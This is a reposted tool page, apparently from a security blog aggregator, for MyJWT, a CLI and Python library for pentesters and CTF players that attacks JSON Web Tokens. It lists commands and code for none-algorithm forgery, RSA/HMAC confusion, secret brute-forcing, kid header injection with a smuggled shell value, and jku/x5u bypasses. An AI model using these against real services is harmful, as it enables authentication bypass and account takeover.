MyJWT - A Cli For Cracking, Testing Vulnerabilities On Json Web Token (JWT)

MyJWT - A Cli For Cracking, Testing Vulnerabilities On Json Web Token (JWT)
2021-01-17 20:30:00 Author: www.blogger.com(查看原文) 阅读量:162 收藏

tag:blogger.com,1999:blog-8317222231133660547.post-66333421616317918132021-01-17T08:30:00.023-03:002021-01-17T08:30:03.143-03:00MyJWT - A Cli For Cracking, Testing Vulnerabilities On Json Web Token (JWT)<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Slo-3BCqM04/X_u4XJ46ZII/AAAAAAAAU-s/yQRAPdLLQqUVjrTm60WJYHDw1jdqTu6dwCNcBGAsYHQ/s1000/jwt.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="600" data-original-width="1000" height="384" src="https://1.bp.blogspot.com/-Slo-3BCqM04/X_u4XJ46ZII/AAAAAAAAU-s/yQRAPdLLQqUVjrTm60WJYHDw1jdqTu6dwCNcBGAsYHQ/w640-h384/jwt.jpg" width="640" /></a></div> This cli is for pentesters, CTF players, or dev. You can modify your jwt, sign, inject ,etc... Check <a href="http://myjwt.readthedocs.io" rel="nofollow" target="_blank" title="Documentation">Documentation</a> for more information. If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy :)<a name='more'></a><div> </div>Documentation Documentation is available at <a href="http://myjwt.readthedocs.io" rel="nofollow" target="_blank" title="http://myjwt.readthedocs.io">http://myjwt.readthedocs.io</a> Features <ul> <li>copy new jwt to clipboard</li> <li>user Interface (thanks <a href="https://github.com/tmbo/questionary" rel="nofollow" target="_blank" title="questionary">questionary</a>)</li> <li>color output</li> <li>modify jwt (header/Payload)</li> <li>None Vulnerability</li> <li>RSA/HMAC confusion</li> <li>Sign a jwt with key</li> <li>Brute Force to guess key</li> <li>crack jwt with regex to guess key</li> <li>kid injection</li> <li>Jku Bypass</li> <li>X5u Bypass</li> </ul> Installation To install myjwt, simply use pip: <pre><code>pip install myjwt </code></pre> To run mywt from a docker image, run: <pre><code>docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt # mount volume for wordlist docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt # On Windows docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt </code></pre> To install myjwt, on git: <pre><code>git clone https://github.com/mBouamama/MyJWT.git cd ./MyJWT pip install -r requirements.txt python MyJWT/myjwt_cli.py --help </code></pre> To install myjwt on BlackArch: <pre><code>pacman -S myjwt</code></pre> Usage <div><pre><code>$ myjwt --help Usage: myjwt [OPTIONS] JWT This cli is for pentesters, CTF players, or dev. You can modify your jwt, sign, inject ,etc... Full documentation is at http://myjwt.readthedocs.io. If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy :) All new jwt will be copy to the clipboard. Options: --version Show the version and exit. --full-payload TEXT New <a href="https://www.kitploit.com/search/label/Payload" target="_blank" title="payload">payload</a> for your jwt.Json format Required. -h, --add-header TEXT Add a new key, value to your jwt header, if key is present old value will be replaced.Format: key=value. -p, --add-payload TEXT Add a new key, value to your jwt payload, if key is present old value will be replaced.Format: key=value. --sign TEXT Sign Your jwt with key given. --verify TEXT verify your key. -none, --none-vulnerability Check None Alg vulnerability. --hmac PATH Check RS/HMAC Alg vulnerability. --bruteforce PATH <a href="https://www.kitploit.com/search/label/Bruteforce" target="_blank" title="Bruteforce">Bruteforce</a> to guess the secret used to sign the token. -c, --crack TEXT regex to iterate all string possibilities to guess the secret used to sign the token. --kid TEXT Kid <a href="https://www.kitploit.com/search/label/Injection" target="_blank" title="Injection">Injection</a> sql --jku TEXT Jku Header to bypass authentication --x5u TEXT X5u Header to bypass authen tication --crt TEXT For x5cHeader, force crt file --key TEXT For jku or x5c Header, force private key to your key file --file TEXT For jku Header and x5u Header, force file name --print Print Decoded JWT -u, --url TEXT Url to send your jwt. -m, --method TEXT Method use for send request to url.(Default GET). -d, --data TEXT Data send to your url.Format: key=value. if value = MY_JWT value will be replace by new jwt. -c, --cookies TEXT <a href="https://www.kitploit.com/search/label/Cookies" target="_blank" title="Cookies">Cookies</a> to send to your url.Format: key=value. if value = MY_JWT value will be replace by new jwt. --help Show this message and exit.</code></pre></div> Modify JWT <table> <tbody><tr> <th>Option</th> <th align="center">Type</th> <th align="center">Example</th> <th align="right">help</th> </tr> <tr> <td>--ful-payload</td> <td align="center">JSON</td> <td align="center">{"user": "admin"}</td> <td align="right">New payload for your jwt.</td> </tr> <tr> <td>-h, --add-header</td> <td align="center">key=value</td> <td align="center">user=admin</td> <td align="right">Add a new key, value to your jwt header, if key is present old value will be replaced.</td> </tr> <tr> <td>-p, --add-payload</td> <td align="center">key=value</td> <td align="center">user=admin</td> <td align="right">Add a new key, value to your jwt payload, if key is present old value will be replaced.</td> </tr> </tbody></table> Check Your JWT (HS alg) <table> <tbody><tr> <th>Option</th> <th>Type</th> <th>Example</th> <th>help</th> </tr> <tr> <td>--sign</td> <td>text</td> <td>mysecretkey</td> <td>Sign Your jwt with your key</td> </tr> <tr> <td>--verify</td> <td>text</td> <td>mysecretkey</td> <td>Verify your key.</td> </tr> </tbody></table> Exploit <table> <tbody><tr> <th>Option</th> <th>Type</th> <th>Example</th> <th>help</th> </tr> <tr> <td>-none, --none-vulnerability</td> <td>Nothing</td> <td></td> <td>Check None Alg vulnerability.</td> </tr> <tr> <td>--hmac</td> <td>PATH</td> <td>./public.pem</td> <td>Check RS/HMAC Alg vulnerability, and sign your jwt with public key.</td> </tr> <tr> <td>--bruteforce</td> <td>PATH</td> <td>./wordlist/big.txt</td> <td>Bruteforce to guess th secret used to sign the token. Use txt file with all password stored(1 by line)</td> </tr> <tr> <td>--crack</td> <td>REGEX</td> <td>"[a-z]{4}"</td> <td>regex to iterate all string possibilities to guess the secret used to sign the token.</td> </tr> <tr> <td>--kid</td> <td>text</td> <td>"00; echo /etc/.passwd"</td> <td>Kid Injection sql</td> </tr> <tr> <td>--jku</td> <td>text</td> <td>MYPUBLICIP</td> <td>Jku Header to bypass authentication, use --file if you want to change your jwks file name, and --key if you want to use your own private pem</td> </tr> <tr> <td>--x5u</td> <td>text</td> <td>MYPUBLICIP</td> <td>For jku or x5c Header, use --file if you want to change your jwks file name, and --key if you want to use your own private pem</td> </tr> </tbody></table> Send your jwt <table> <tbody><tr> <th>Option</th> <th>Type</th> <th>Example</th> <th>help</th> </tr> <tr> <td>-u, --url</td> <td>url</td> <td><a href="http://challenge01.root-me.org/web-serveur/ch59/admin" rel="nofollow" target="_blank" title="http://challenge01.root-me.org/web-serveur/ch59/admin">http://challenge01.root-me.org/web-serveur/ch59/admin</a></td> <td>Url to send your jwt.</td> </tr> <tr> <td>-m, --method</td> <td>text</td> <td>POST</td> <td>Method use to send request to url.(Default: GET).</td> </tr> <tr> <td>-d, --data</td> <td>key=value</td> <td>secret=MY_JWT</td> <td>Data send to your url.Format: key=value. if value = MY_JWT value will be replace by your new jwt.</td> </tr> <tr> <td>-c, --cookies</td> <td>key=value</td> <td>secret=MY_JWT</td> <td>Cookies to send to your url.Format: key=value.if value = MY_JWT value will be replace by your new jwt.</td> </tr> </tbody></table> Other <table> <tbody><tr> <th>Option</th> <th>Type</th> <th>Example</th> <th>help</th> </tr> <tr> <td>--crt</td> <td>PATH</td> <td>./public.crt</td> <td>For x5cHeader, force crt file</td> </tr> <tr> <td>--key</td> <td>PATH</td> <td>./private.pem</td> <td>For jku or x5c Header, force private key to your key file</td> </tr> <tr> <td>--file</td> <td>text</td> <td>myfile</td> <td>For jku Header, force file name without .json extension</td> </tr> <tr> <td>--print</td> <td>Nothing</td> <td></td> <td>Print Decoded JWT</td> </tr> <tr> <td>--help</td> <td>Nothing</td> <td></td> <td>Show Helper message and exit.</td> </tr> <tr> <td>--version</td> <td>Nothing</td> <td></td> <td>Show Myjwt version</td> </tr> </tbody></table> Examples <ul> <li><a href="https://github.com/mBouamama/MyJWT#modify-your-jwt" rel="nofollow" target="_blank" title="Modify Your jwt">Modify Your jwt</a></li> <li><a href="https://github.com/mBouamama/MyJWT#none-vulnerability" rel="nofollow" target="_blank" title="None Vulnerabilty Check">None Vulnerabilty Check</a></li> <li><a href="https://github.com/mBouamama/MyJWT#sign-key" rel="nofollow" target="_blank" title="Sign Key">Sign Key</a></li> <li><a href="https://github.com/mBouamama/MyJWT#brute-force" rel="nofollow" target="_blank" title="Brute Force Signature">Brute Force Signature</a></li> <li><a href="https://github.com/mBouamama/MyJWT#rsahmac-confusion" rel="nofollow" target="_blank" title="RSA/HMAC Confusion">RSA/HMAC Confusion</a></li> <li><a href="https://github.com/mBouamama/MyJWT#kid-injection" rel="nofollow" target="_blank" title="Kid Injection">Kid Injection</a></li> <li><a href="https://github.com/mBouamama/MyJWT#send-your-new-jwt-to-url" rel="nofollow" target="_blank" title="Send your new Jwt to url">Send your new Jwt to url</a></li> <li><a href="https://github.com/mBouamama/MyJWT#jku-vulnerability" rel="nofollow" target="_blank" title="Jku Vulnerability">Jku Vulnerability</a></li> <li><a href="https://github.com/mBouamama/MyJWT#x5u-vulnerability" rel="nofollow" target="_blank" title="X5u Vulnerability">X5u Vulnerability</a></li> </ul> Modify your Jwt CLI <pre><code>myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false" </code></pre> Code <pre><code>from myjwt.modify_jwt import add_header, change_payload from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt jwt_json = jwt_to_json(jwt) jwt_json = add_header(jwt_json, {"kid": "001"}) jwt_json = change_payload(jwt_json, {"username": "admin"}) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] </code></pre> Full example here: <a href="https://github.com/mBouamama/MyJWT/blob/master/examples/01-modify-jwt/modify-jwt.py" rel="nofollow" target="_blank" title="01-modify-jwt">01-modify-jwt</a> None Vulnerability CLI <pre><code>myjwt YOUR_JWT --none-vulnerability </code></pre> CODE <pre><code>from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt from myjwt.vulnerabilities import none_vulnerability jwt_json = jwt_to_json(jwt) jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]) </code></pre> Full example here: <a href="https://github.com/mBouamama/MyJWT/blob/master/examples/02-none-vulnerability/none-vulnerability.py" rel="nofollow" target="_blank" title="02-none-vulnerability">02-none-vulnerability</a> Sign Key CLI <pre><code>myjwt YOUR_JWT --sign YOUR_KEY </code></pre> CODE <pre><code>from myjwt.modify_jwt import signature from myjwt.utils import jwt_to_json key = "test" jwt = signature(jwt_to_json(jwt), key) </code></pre> Full example here: <a href="https://github.com/mBouamama/MyJWT/blob/master/examples/03-sign-key/sign-key.py" rel="nofollow" target="_blank" title="03-sign-key">03-sign-key</a> Brute Force CLI <pre><code>myjwt YOUR_JWT --bruteforce PATH </code></pre> CODE <pre><code>from myjwt.vulnerabilities import bruteforce_wordlist wordlist = "../../wordlist/common_pass.txt" key = bruteforce_wordlist(jwt, wordlist) </code></pre> Full example here: <a href="https://github.com/mBouamama/MyJWT/blob/master/examples/04-brute-force/brute-force.py" rel="nofollow" target="_blank" title="04-brute-force">04-brute-force</a> Crack CLI <pre><code>myjwt YOUR_JWT --crack REGEX </code></pre> RSA/HMAC Confusion CLI <pre><code>myjwt YOUR_JWT --hmac FILE </code></pre> CODE <pre><code>from myjwt.vulnerabilities import confusion_rsa_hmac file = "public.pem" jwt = confusion_rsa_hmac(jwt, file) </code></pre> Full example here: <a href="https://github.com/mBouamama/MyJWT/blob/master/examples/05-rsa-hmac-confusion/rsa-hmac-confusion.py" rel="nofollow" target="_blank" title="05-rsa-hmac-confusion">05-rsa-hmac-confusion</a> Kid Injection CLI <pre><code>myjwt YOUR_JWT --kid INJECTION </code></pre> Code <pre><code>from myjwt.modify_jwt import signature from myjwt.utils import jwt_to_json from myjwt.vulnerabilities import inject_sql_kid injection = "../../../../../../dev/null" sign = "" jwt = inject_sql_kid(jwt, injection) jwt = signature(jwt_to_json(jwt), sign) </code></pre> Full example here: <a href="https://github.com/mBouamama/MyJWT/blob/master/examples/06-kid-injection/kid-injection.py" rel="nofollow" target="_blank" title="06-kid-injection">06-kid-injection</a> Send your new Jwt to url CLI <pre><code>myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin" </code></pre> Jku Vulnerability CLI <pre><code>myjwt YOUR_JWT --jku YOUR_URL </code></pre> Code <pre><code>from myjwt.vulnerabilities import jku_vulnerability new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP") print(jwt) </code></pre> Full example here: <a href="https://github.com/mBouamama/MyJWT/blob/master/examples/07-jku-bypass/jku-bypass.py" rel="nofollow" target="_blank" title="07-jku-bypass">07-jku-bypass</a> X5U Vulnerability CLI <pre><code>myjwt YOUR_JWT --x5u YOUR_URL </code></pre> Code <pre><code>from myjwt.vulnerabilities import x5u_vulnerability newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP") print(jwt) </code></pre> Full example here: <a href="https://github.com/mBouamama/MyJWT/blob/master/examples/08-x5u-bypass/x5u-bypass.py" rel="nofollow" target="_blank" title="08-x5u-bypass">08-x5u-bypass</a> Download Check github releases. Latest is available at <a href="https://github.com/mBouamama/MyJWT/releases/latest" rel="nofollow" target="_blank" title="https://github.com/mBouamama/MyJWT/releases/latest">https://github.com/mBouamama/MyJWT/releases/latest</a> Contribute <ul> <li>Fork this repository or clone it</li> <li>Create a new branch (feature, hotfix, etc...)</li> <li>Make necessary changes and commit those changes</li> <li>Check lint with <code>make flake8</code></li> <li>Check unit_test with <code>make test</code></li> <li>Send Pull Request I will check as Soon as Possible.</li> </ul> Change log The log's become rather long. It moved to its own file. See <a href="https://github.com/mBouamama/MyJWT/blob/master/CHANGELOG.md" rel="nofollow" target="_blank" title="CHANGES">CHANGES</a>. <div style="text-align: center;"><a class="kiploit-download" href="https://github.com/mBouamama/MyJWT" rel="nofollow" target="_blank" title="Download MyJWT">Download MyJWT</a></div>Zion3R[email protected]

文章来源: http://www.blogger.com/feeds/8317222231133660547/posts/default/6633342161631791813
如有侵权请联系:admin#unsafe.sh